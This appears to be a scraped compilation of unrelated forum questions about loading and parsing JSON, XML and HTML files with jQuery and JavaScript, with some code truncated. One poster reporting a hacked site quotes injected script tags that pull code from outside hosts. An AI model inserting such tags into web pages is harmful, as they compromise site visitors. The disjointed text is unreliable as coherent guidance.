JQuery :: Load And Parse Remote Json File In Local Machine?
Jul 26, 2011
How can Iload and parse a json file saved in our remote serverfrom my local machine? I can load and parse the copy I saved in my local machine, but I can notwork with the remote copy. The following is the code I tested:
I need to be able to search through an xml located on my local machine with an html page. Here's the thing: this whole system (html files, xml file) will always be on my local machine. Because it's a class project it won't be on a server. So here's the scenario: I navigate to where my files are located (say C:) and I double click my index.html page and this page opens in my browser and from this page I need to be able to search my xml file which is at the same location. I've tried xmlhttprequest and it won't open the xml file I'm guessing because I don't need an http request.
Here's what I have so far: if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET","C:MovieDB.xml",false); xmlhttp.send(); xmlDoc=xmlhttp.responseXML;
function searchDB() { if(!xmlDoc){ alert("error") } var keyword = $('#txtBox').val(); var searchVal = $('#basicCategory :selected').text(); var allitems = xmlDoc.getElementsByTagName("Movie"); for(var i=0;i<allitems.length;i++){ alert(allitems[i].getElementsByTagName(searchVal[0]. childNodes[0].nodeValue); } } The code doesn't make it past the xmlhttp.send() line.
Here is what I'm trying to do but the problem is "source.html" is not on a server somewhere. I am running everything locally. $('#container').load(source.html #sourceContent) Is there a way to do this exact thing but with a local file?
I have a .js file, we want to make it to load a html file right next to it, both files are on client system. I couldn't find any such examples and some posts talked about JavaScript security issues, I wonder if it is related to what I want.
Someone said .js file is not really JaveScript file, though Microsoft named it 'JavaScript'.
note that I am trying to "call" .html file from the .js file, not embed html code in .js.
When I load a JSON file locally, I receive the following error in my Firefox console: "not well-formed / file:///<fileLocation>/data.json / Line: 1 / {}". The loading otherwise seems successful, as I can interact with the loaded JavaScript object. For this example, I'm loading an empty JSON object, but this error occurs with non-empty JSON objects, too.
I have a js file embedded into additional files to make up the extension.
I want to run a single executable file, but I can't figure out what the relative path is. The path must remain relative, because the user will set the directory.
The js code like so:
runthefile: function(){
const path = "calc.exe"
var file = Components .classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile)
file.initWithPath(path) file.launch() }
However, it doesn't seem to run calc.exe no matter where I put it. Code:
I've written a slideshow script which loads and displays a series of >1Mb images from the local machine. Each image is loaded twice - once to get the dimensions and once to be shown on the screen, so it can be dynamically resized by another script.
This script runs without problems in Opera and Internet Explorer, no matter how many times it's executed. However, after it runs a couple dozen times in Firefox, the width and height attributes of the image start returning 0. It seems like the loading has slowed down considerably and the script starts skipping to the next line without waiting for it to finish.
I've tried adding the line while(!image.complete), which works, but invariably causes Firefox to display a message saying the script is causing Firefox to run slowly, and asking if I want to abort.
Is there a way I can flush earlier images from the cache, or somehow free up resources so the script will continue to run as quickly as it does at the start?
On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:
HTML Code: <script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>
I have a javascript (HTML internal), which fetches and executes a file in another web address... but I do not want it to do that, i want this script to execute is function directly from my local disk (file location).
I am having difficulty displaying a specific key from a json file. I am trying to parse the following json file using query:
[URL]
I am using this type of function to parse the data:
$.each(json.route,function(i,route){ <!--add a paragraph tag to the results div and enter the speficied key--> $("#results").append('<p>Result: '+ route +'</p>');
Using this I am able to print all the keys from the route but I am not able to print a specific key.
What I want to do is just get the results for the key "fuelUsed" using this method:
Supposed that I have a json object but I don't know anything about its keys and values. Is there anyway to print out all the key and value pairs in that object?
I'm using jQuery $.ajax or $.getJSON on document.ready to access data from the server through coldfusion remote cfc files.
My url looks something like this for the main page [url]
When i go to a new page i.e. [url]
The ajax functions are called but are not collecting new data (only in IE). IE caches the response and wont give me a new one unless I refresh the page, which I don't want to do.
Here's an example of a function I call. I've also tried $.getJSON with no success.
function getGrains() {
I've looked into ways to make sure IE wont cache files. Some of the popular suggestions are:
Add a random parameter to the url: I've done this:
Change get requests to posts: Done (see function)
Also, jQuery's cache:false doesn't work.
I'm not sure I can use the meta tags or header cache-control functions because it's not caching my html page, it just caches these HTTPRequests from within my javascript file, and they're not loading html, just json objects.
I am submitting a form via AJAX. The form may either return HTML (when there are input errors) or JSON (successful response). If during request I specify "dataType: 'json'" then HTML doesn't get thru correctly, if I don't then JSON is displayed as plain text. I am sending the "application/json" header back correctly. I don't understand why doesn't jQuery just pick that up and parse it as JSON? Is there an option? Is there something I can do to make this work?
JSON.parse: unexpected end of dataat line var data = JSON.parse(json);Is the syntax correct?the code used is:For the code below i am getting this error :
I have a wordpress site with dropdown menus that currently are working with jQuery, now the issue is when trying to dynamically update the menus and parsing it with json.parse. For some reason I am not getting any data back of the following code (if I try to alert (data) I just get a blank box).
function waitGoUpdate() { var $jQ = jQuery.noConflict (); $jQ.ajax ({
[Code].....
and just print out the function, than I would get the data on screen. now if I was to access my php file directly than that fill will output an error due to missing plugins.. I guess that is just how wordpress sorta work.. but again I do get the info that i need by just printing out the function. Do anyone knows a work around for this? I am kinda pulling my hairs out.
I'm trying to parse a Json string received by $.getJSON(). I can receive the string but firebug gives me an "invalid label" error. I think it is because the string is an hash array with a number as first label, but I'm not sure. This is the string:
{"15":{"id":15,"x":0.4589937586135409,"y": 0.8324914620560137,"z":-0.9435707004102728,"rawData":"1256204002860 13 -442866538 18392602 647462767 314 1777206957 -1664784174 "}} and this is the non-working code:
I have set up a script on my page which automatically reads the files in a specific directory on the server and displays them in a nice file tree on my website so users can download the files. Here is the script: http://abeautifulsite.net/blog/2008/...ery-file-tree/Here is the script in action on my website: http://ligonier-in.org/onlineservice...ents_test.htmlThe plugin is working fine as far as finding the files and displaying them. However, the root folder where the files are stored is not the directory you would go to to access the actual files.
Long story short, the script is trying to download the file at http://ligonier-in.org/home/cityofli...pplication.pdf I need to 'parse' that url and force it to download the file from:
If I switch the w3schools' file with the same local file, it will not work with firefox.Does anybody know why the local file is not displayed correctly?
